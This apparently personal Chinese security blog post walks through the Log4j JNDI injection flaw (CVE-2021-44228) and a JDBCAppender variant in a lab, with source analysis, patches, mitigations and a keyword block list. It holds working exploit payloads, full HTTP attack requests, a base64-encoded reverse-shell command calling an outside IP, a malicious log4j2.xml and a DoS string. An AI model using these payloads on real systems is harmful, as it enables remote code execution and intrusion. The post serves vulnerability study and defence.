HacKerQWQ的博客空间

log4j远程代码执行漏洞分析

Word count: 3kReading time: 14 min
2021/12/11 Share

log4j远程代码执行漏洞简介

CVE编号:CVE-2021-44228

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框
架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条
日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标
服务器上执行任意代码。鉴于此漏洞危害较大,建议客户尽快采取措施防护此漏洞

  • 影响版本:
    Apache Log4j 2.x < 2.15.0-rc2

  • 影响组件:

    Spring-Boot-strater-log4j2 全版本
    Apache Struts2 全版本
    Apache Solr 已经在9.0和8.11.1修复
    Apache Flink 1.11.0-rc1 到 1.14.0
    Apache Druid 0.7.x以上
    Alibaba Druid 1.0.15以及以上
    ElasticSearch 5.x,6.x和7.x
    Logstash 5.0.0至最新
    log4j2-redis-appender 全版本
    Apache Dubbo 2.7.x以及3.0.x
    Hadoop Hive 2.x和3.x
    hadoop hbase 3.0.0-alpha-1受影响
    Mycat 1.6.x受影响
    OpenCms build_11_0_0_beta到最新

    更多:https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1

  • Java版本限制:

    Java 8u121 开始,RMI(但不是 LDAP)默认不再允许远程代码库。

    Java 8u191开始,LDAP不再允许远程代码库。

漏洞docker环境搭建

1
2
3
# 拉取vulfocus镜像
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest

如果ubuntu没有java8版本,可参考这篇文章ubuntu安装java8版本

漏洞利用

漏洞验证

测试版本

1
${jndi:ldap://${sys:java.version}xx.dnslog.cn}

dnslog测试

payload=${jndi:ldap://local.4qtmhy.ceye.io}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST http://192.168.119.136:49153/hello HTTP/1.1
Host: 192.168.119.136:49153
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_9a28e74f75803a2f89949e736964ce83=HackerQWQ%7C1638458735%7CCHlp9dJJ7IiqjrQfI3I4CrgTcmF7Q8QxQSmEB18wT2N%7C889594cec575025077173b4963cccb61938e19d39ba9594c60b68e7ce53a6c35; wp-settings-1=editor%3Dhtml%26mfold%3Do%26libraryContent%3Dbrowse; wp-settings-time-1=1638285949
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

payload=${jndi:ldap://local.4qtmhy.ceye.io}

image-20211211223804166

如果主机不通外网,可以自己起一个revsuit

1
.\revsuite_windows_amd64.exe

image-20211216155207131

通过访问http://url:10000/revsuit/admin输入token即可登录

image-20211216155314798

配置RMI rule为*

image-20211216155429638

然后执行payload请求RMI默认端口1099,即可得到回显验证漏洞

image-20211216155542093

  • 这个方法也可以用来绕过根据dnslog域名信息的过滤

命令执行

反弹shell:

  1. 起一个jndi服务

    1
    2
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzUuMTU2LjEyNi82NiAwPiYx}|{base64,-d}|{bash,-i}' -A '101.35.156.126'
    # bash -i >& /dev/tcp/101.35.156.126/66 0>&1

    image-20211211224225151

  2. 监听端口

    1
    nc -lnvvp xx
  3. 连接rmi服务

    payload=${jndi:rmi://101.35.156.126:1099/kyf6mk}

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    POST http://192.168.119.136:49153/hello HTTP/1.1
    Host: 192.168.119.136:49153
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_9a28e74f75803a2f89949e736964ce83=HackerQWQ%7C1638458735%7CCHlp9dJJ7IiqjrQfI3I4CrgTcmF7Q8QxQSmEB18wT2N%7C889594cec575025077173b4963cccb61938e19d39ba9594c60b68e7ce53a6c35; wp-settings-1=editor%3Dhtml%26mfold%3Do%26libraryContent%3Dbrowse; wp-settings-time-1=1638285949
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 48

    payload=${jndi:rmi://101.35.156.126:1099/kyf6mk}

    image-20211211224311429

同理使用marshalsec也可以

工具Fuzz

好用的工具有很多,主要用于burp主动扫描

Log4Shell和activeScan++时间较长,Log4Shell对应的dnslog是burpcollaborator.net,响应时间较长,activeScan++是activescan的加强版。

个人感觉最好的是Log4jScan,提供了自配置dnslog如ceye.io、RevSuit-RMI等,POC响应速度快,也可以搭建在本机上用于内网测试,可惜的是得到消息作者不再提供互联网版本。

被动扫描最近也出了:https://github.com/gh0stkey/Log4j2-RCE-Scanner

启动Command2Api,得到接口

1
python Command2Api.py "java -jar JNDIExploit.v1.2/JNDIExploit-1.2-SNAPSHOT.jar -i 0.0.0.0" 988

修改配置文件Log4j2 RCE Scanner.py

1
2
3
4
5
6
7
8
# LDAP_API_HOST -> LDAP Log接口的主机地址(域名/IP,请注意内、外网环境)
# LDAP_API_PORT -> LDAP Log接口的主机端口
# LDAP_API_PORT -> LDAP Log接口的路由
# 建议搭配Command2API项目一起使用,其他接口请自行更改代码
url = "http://LDAP_API_HOST:LDAP_API_PORT/LDAP_API_ROUTE"
# LDAP_HOST -> LDAP 服务的主机地址(域名/IP,请注意内、外网环境)
# LDAP_PORT -> LDAP 服务的主机端口
return self._helpers.urlEncode("${jndi:ldap://LDAP_HOST:LDAP_PORT/" + random_md5 + "}")

burp导入之后正常访问网页,扫出了漏洞

image-20211227172843875

  • 需要在每次启动Command2Api的时候需要修改配置文件的token!!!

JNDIExploit项目:https://github.com/Mr-xn/JNDIExploit-1

本地环境搭建

创建项目,创建lib文件夹,导入log4j-api-2.14.1.jarlog4j-core-2.14.1.jar包,再Add as Library引用

image-20211212003856510

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.hack.sec;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class TestLog {
private static final Logger logger= LogManager.getLogger();

public static void main(String[] args) {
logger.error("${jndi:rmi://127.0.0.1:1099/ij4js3}");
}
}

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建LDAP或rmi服务器,命令

1
java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'calc' -A '127.0.0.1'

image-20211212004046915

选用jdk1.8的payload,替换掉logger.error中的部分,运行程序即可

image-20211212004154716

漏洞分析

Log4j用法

1
2
3
4
5
6
7
8
9
10
11
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class TestLog {
private static final Logger logger= LogManager.getLogger();

public static void main(String[] args) {
String message = "${jndi:rmi://debug.4qtmhy.ceye.io/ij4js3}";
logger.error("Error message:"+message);
}
}

org/apache/logging/log4j/core/layout/PatternLayout.javatoSerializable方法中调用了format[8],即MessagePatternConverter来解析字符串

image-20211212151911633

跟进到format的replace方法中

image-20211212152003634

跟进substitute方法中

image-20211212152034606

通过getVariablePrefixMatcher方法获取到${前缀的StrMatcher,并且循环检测是否还有${开头的字符串拿去递归substitute处理

image-20211212152329796

将字符串从${}中拿出来之后,将变量赋值给varName带入resolveVariable进行进一步解析

image-20211212152838347

获取到resolver解析器之后将variableName传入lookup方法,可以看到这里以:为分隔符分别获取prefix和name两部分,prefix为jndi,name为rmi://debug.4qtmhy.ceye.io/ij4js3,随后根据name获取StrLookup类,调用StrLookup类进行解析

image-20211212153124069

在lookup方法中通过JndiManager.getDefaultManager获取JndiManager进行Lookup操作

image-20211212153518500

最后的最后在this.content.lookup方法对rmi://debug.4qtmhy.ceye.io/ij4js3进行lookup,造成jndi注入

image-20211212153544735

漏洞绕过

  • 前提条件:开启lookup功能

2.15.0-rc1存在一处绕过,payload:

1
${jndi:ldap://127.0.0.1:1389/ badClassName}

PatternLayout.toSerializable方法发生了变化

不过这里的变化没有什么影响,其中的formatters属性的变化导致了${}不会被处理

1
2
3
4
5
6
7
@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
for (PatternFormatter formatter : formatters) {
formatter.format(event, buffer);
}
return buffer;
}

上文提到这里某个formatter包含了MessagePatternConverter

在修复后变成了MessagePatternConverter.SimplePatternConverter

img

可以发现在这个类中变成了直接拼接字符串的操作,不去判断${}这种情况

1
2
3
4
5
6
7
8
9
10
11
12
13
private static final class SimpleMessagePatternConverter extends MessagePatternConverter {
private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
// 直接拼接字符串
if (msg instanceof StringBuilderFormattable) {
((StringBuilderFormattable) msg).formatTo(toAppendTo);
} else if (msg != null) {
toAppendTo.append(msg.getFormattedMessage());
}
}
}

但是在LookupMessagePatternConverter中会继续对${}的处理,具体看

https://xz.aliyun.com/t/10649#toc-2

漏洞修复

代码层面

log4j-2.15.0-rc2的修复方案是直接return,有效解决了上文的绕过

1
2
3
4
5
6
try{
} catch (URISyntaxException ex) {
LOGGER.warn("Invalid JNDI URI - {}", name);
return null;
}
return (T) this.context.lookup(name);

临时防护措施

添加jvm启动参数

1
-Dlog4j2.formatMsgNoLookups=true

1
java exp.jar -Dlog4j2.formatMsgNoLookups=true

提高java版本

JDK使用11.0.1、8u191(默认关闭远程ldap查询)、7u201、6u211及以上的高版本

网络安全设备过滤关键字(临时)

  1. 限制dnslog域名,如

    ceye.io

    dnslog.link

    dnslog.cn

    dnslog.io

    tu4.org

    burpcollaborator.net

    s0x.cn

  2. 数据包过滤关键字

    ${jndi:}等字样

通过 JDBCAPPENDER 数据源元素任意代码执行

参考链接:https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/

重现步骤

为了使漏洞可利用,需要从外部加载Log4J的配置文件。这可以是远程FTP服务器、云存储等。攻击者可以使用DNS中毒和MITM等技术注入精心制作的配置文件并最终利用该漏洞。

1 – 通过 HTTP 获取远程配置

1
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");

2 – 使用与 CVE-2021-44228 PoC(概念验证)相同的 LDAP(轻量级目录访问协议)服务器,我们需要做的就是运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {
static {
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
}
private static final Logger logger = LogManager.getLogger(log4j.class);

public static void main(String[] args) {
}
}

3 – 将恶意 log4j2.xml 文件注入响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
<Column name="eventDate" isEventTimestamp="true" />
<Column name="level" pattern="%level" />
<Column name="logger" pattern="%logger" />
<Column name="message" pattern="%message" />
<Column name="exception" pattern="%ex{full}" />
</JDBC>
</Appenders>
<Loggers>
<Root level="warn">
<AppenderRef ref="databaseAppender"/>
</Root>
</Loggers>
</Configuration>

预期成绩

初始化记录器对象时,将向远程 log4j2.xml 发出请求。在加载过程中,尝试加载 DataSource 对象将向 LDAP 服务器发出请求,然后该请求将重定向到恶意类。最后,任意类将被反序列化并执行。

ddos

1
${::-${::-${}}}

log4j变形payload还原脚本

1
2
3
4
5
6
7
8
9
10
import re

# text="${${xcc:-j}${:ff:::-n}${:-d}${:-i}${muk:raz:f:o:-:}${i:ewwh:-l}${vno:ov:zpvk:-d}${lo:xq:zvx:-a}${yiku:b:-p}${rr::j:o:-:}${wy:klo:-/}${ery:loup:hgn:-/}${bhez:-f}${::-e}${mme:-y}${:-u}${:-a}${ndny:isc:wvlr:-k}${:-q}${:-h}${tr::d:-.}${por:rdd:o::-x}${p:-.}${uu:uno:ics:ae:-m}${w:c:--}${:wl:-s}${:--}${gaf::dhaa:wajp:-n}${:-.}${gl:-c}${wng:e:s:pe:-o}${:-/}}"
text="${${cwiw:lv::dnn:-j}${:-n}${:-d}${:vr:ozz:qfsx:-i}${ldu:::dvh:-:}${:::h:-l}${:euav:fph:-d}${tfqo:st:ei::-a}${:-p}${ne:q:-:}${pleq:ov::xyfn:-/}${ohtr:-/}${:zd::-o}${:-d}${nlap:-o}${:-n}${:yl:-x}${k:zjg::eh:-x}${fvzb:w:-y}${whno::zsz:jdl:-q}${eg:rg:gpu:-.}${aioi:exp:fvtz:u:-x}${zm:fl:isok:tpm:-.}${vs:wyqk:vg:-m}${::m:nwic:--}${t:-s}${:--}${cv:-n}${:qe::-.}${dutg:-c}${:-o}${r:qdjb:j:-/}}"
payload = ""

char_list = re.findall(r"\${.*?}",text)
for char in char_list:
payload+=char[-2]
print(payload)

image-20220903163345524

参考链接

CATALOG
  1. 1. log4j远程代码执行漏洞简介
  2. 2. 漏洞docker环境搭建
  3. 3. 漏洞利用
    1. 3.1. 漏洞验证
    2. 3.2. 命令执行
  4. 4. 工具Fuzz
  5. 5. 本地环境搭建
  6. 6. 漏洞分析
  7. 7. 漏洞绕过
  8. 8. 漏洞修复
    1. 8.1. 代码层面
    2. 8.2. 临时防护措施
    3. 8.3. 提高java版本
    4. 8.4. 网络安全设备过滤关键字(临时)
  9. 9. 通过 JDBCAPPENDER 数据源元素任意代码执行
    1. 9.1. 重现步骤
    2. 9.2. 预期成绩
  10. 10. ddos
  11. 11. log4j变形payload还原脚本
  12. 12. 参考链接